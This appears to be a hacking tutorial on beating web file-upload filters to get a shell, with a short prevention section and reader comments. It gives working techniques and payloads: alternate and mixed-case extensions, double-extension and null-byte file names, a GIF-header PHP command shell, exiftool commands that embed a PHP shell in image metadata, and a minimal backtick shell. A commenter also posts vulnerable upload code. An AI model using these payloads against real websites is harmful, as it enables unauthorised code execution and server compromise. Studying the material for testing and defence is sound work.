How To: Bypass File Upload Restrictions on Web Apps to Get a Shell

Bypass File Upload Restrictions on Web Apps to Get a Shell

One of the most promising avenues of attack in a web application is the file upload. With results ranging from XSS to full-blown code execution, file uploads are an attractive target for hackers. There are usually restrictions in place that can make it challenging to execute an attack, but there are various techniques a hacker could use to beat file upload restrictions to get a shell.

Method 1: Bypassing Blacklists

The first method we'll explore is how to bypass blacklisting. Blacklisting is a type of protection where certain strings of data, in this case, specific extensions, are explicitly prohibited from being sent to the server. At first glance, it might seem like an optimal solution to prevent bad extensions, often executables, from being uploaded, but it is trivial to bypass.

In addition to the regular extensions, there are alternative extensions that can be used to get around blacklist filters. Here are some extensions for PHP files:

.pht, .phtml, .php3, .php4, .php5, .php6, .inc

Another popular extension for web shells is JSP, and here are some alternatives:

.jspx, .jspf, .jsw, .jsv

In some situations, simply changing the case of the extension can trick filters into accepting the file, like so:

.pHp, .Php, .phP

Method 2: Bypassing Whitelists

Another type of prevention commonly encountered on the web is whitelisting. Whitelisting is precisely the opposite of blacklisting, where the server accepts only specific extensions. For example, an application that allows you to upload a profile picture might only take JPG, JPEG, or PNG files. While this type of prevention is better than blacklisting, it can still be easily bypassed.

Some web servers, such as Apache, allow files with double extensions. That means we can trick the server into accepting a PHP file that also has a JPG extension tacked on the end:

shell.php.jpg

We can also use a null byte injection to bypass whitelist filters. Anything after the null character will be ignored when the file is saved, so injecting between a forbidden extension and an allowed extension can lead to a bypass:

shell.php%00.jpg

Or:

shell.php\x00.jpg

This can also be accomplished with Burp and modifying the hex request. Name the file shell.phpD.jpg — we'll replace the D character with a null character during the request. When uploading the file, intercept the request, go to the hex tab, and find the hex representation of the D character:

Simply replace the 44 with 00 and send the request through:

This technique can be used in tricky situations where the standard null byte injection won't work.

Another way to beat whitelisting is to fool the server with file type headers. Usually, if an upload function accepts images, it will accept GIF files as well. We can add GIF89a; to the beginning of the shell to trick the upload:

GIF89a; <?php system($_GET['cmd']); ?>

Method 3: Exif Data

The next method to bypass file upload restrictions utilizes Exif data in an image. We can insert a comment that contains valid PHP code that will be executed by the server when the image is processed.

We can use exiftool to do this — if it is not installed already, install it with the package manager:

~# apt install exiftool

Then we can insert a simple command shell as a comment in our pic:

~# exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg

Now if we use the file command on our pic, we can see the code was successfully inserted:

~# file pic.jpg

pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3

All we have to do now is add a PHP extension so it can be executed:

~# mv pic.jpg pic.php.jpg

This technique can be combined with any of the approaches to bypass blacklists or whitelists.

Method 4: Other Bypass Techniques

Sometimes, the only thing preventing individual files from being uploaded is client-side JavaScript. If the upload function still works without it, simply turning off JavaScript in the browser can sometimes beat restrictions. If that doesn't work, intercepting the request and changing the file extension can easily bypass client-side filters.

The content type of a file can also be used as a way to validate uploaded content. For example, an image upload will usually check that the content type of the file is an image, not a script or other malicious file type. This type of prevention can easily be bypassed by intercepting the request and changing the content type.

In some situations, the length of the content can also be used to validate uploaded files. It will depend on the specific circumstances, but often all that's needed is a shorter payload. For example, a typical PHP command shell can be shortened to this:

<?=`$_GET[x]`?>

Preventing Unrestricted File Uploads

Several precautions developers can take to prevent unrestricted file uploads and reduce the likelihood of an attacker bypassing restrictions. First and foremost, the directory where the uploads are stored should have no execute permissions. Consider storing files in a database rather than on the filesystem at all.

File types to be uploaded should be limited to the bare minimum for necessary business functionality. Also, any control characters or special characters should be stripped from the uploaded file name and extension, and only one dot should be permitted. Also, the size should be limited as multiple large files can lead to denial of service.

After a file is uploaded, the name should be changed, ideally, to a hash that cannot be guessed. This will prevent attackers from being able to find their file after it is uploaded. It is also wise to prevent files from being overwritten, so hashes cannot be deduced by an attacker.

Wrapping Up

In this tutorial, we covered various methods to get around common file upload restrictions. We learned how to bypass blacklist filters, whitelist filters, content validation, and more. File uploads, if they can be beaten, are a surefire path to shell.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by Maksym Kaharlytskyi/Unsplash; Screenshots by drd_/Null Byte

4 Comments

Thanks for sharing

Someone hacked into my website by uploading a web shell. I'm trying to correct any mistake but I can't see any because my code checks for the file's extension before allowing an upload then renames it into a hash attach the extension then upload it. The issue is, how did the person get through cos I tried most of what you wrote but it didn't work. I mean if the attacker uploaded a file like this "picture.php.jpg", my code will reap-off everything and take the ".jpg", rename the file into hash then upload. If the attacker uploaded it as "picture.php", my code will disallow the upload because ".php" is not in the array of what is allowed.

The question now is how the person was able to upload the file. Below is my code:

-functions.php
// File Name Randomizer
function randDoc( $fileName ){
$fileName = $fileName;
$tmp = explode('.', $fileName);
$fileExtension = end($tmp);
$uploadable_file = md5(uniqid(rand(), true)) . '.' . $fileExtension;

return $uploadable_file; // Random generated File Name
}

-upload.php
$targetDir = "uploads/"; // Directory to save in uploads
$allowedExts = array('jpg', 'jpeg', 'png'); // Allowed File Types
if ( !empty($_FILES'imgFile''name') ){
$extimgFile = pathinfo(basename($FILES'imgFile''name'), PATHINFOEXTENSION); // Get the extension
if ( !in_array(strtolower($extimgFile), $allowedExts) ){
echo 'Invalid File Type. Upload an Image.';
} else {
$newimgFile = 'deposit_' . randDoc($extimgFile); // Randomization
moveuploadedfile($_FILES'imgFile''tmp_name', $targetDir . $newimgFile);
echo 'Image Uploaded.';
}
} else {
echo 'You must select a file.';
}

What could be wrong with it?

$allowedExts = array('jpg', 'jpeg', 'png'); // Allowed File Types

were you not warned about the use of whitelists ?

if the attacker uploaded a file like this "picture.php.jpg", my code will reap-off everything and take the ".jpg", rename the file into hash then upload

Even after been told double extension is a method to fool defenses , what do you do instead ? Let the file through!

This tip DOES NOT prevent bad file uploads , it limits the impact.
1) Have a designated web server where all file uploads reside
2) Lockdown egress rules to prevent reverse shells calling back home

Youtube does the same , if you sniffed packets while on youtube , you will notice ytimg.com , that is where the photos are sourced from. For their videos , they are sourcing it from googlevideo.com

Share Your Thoughts

  • Hot
  • Latest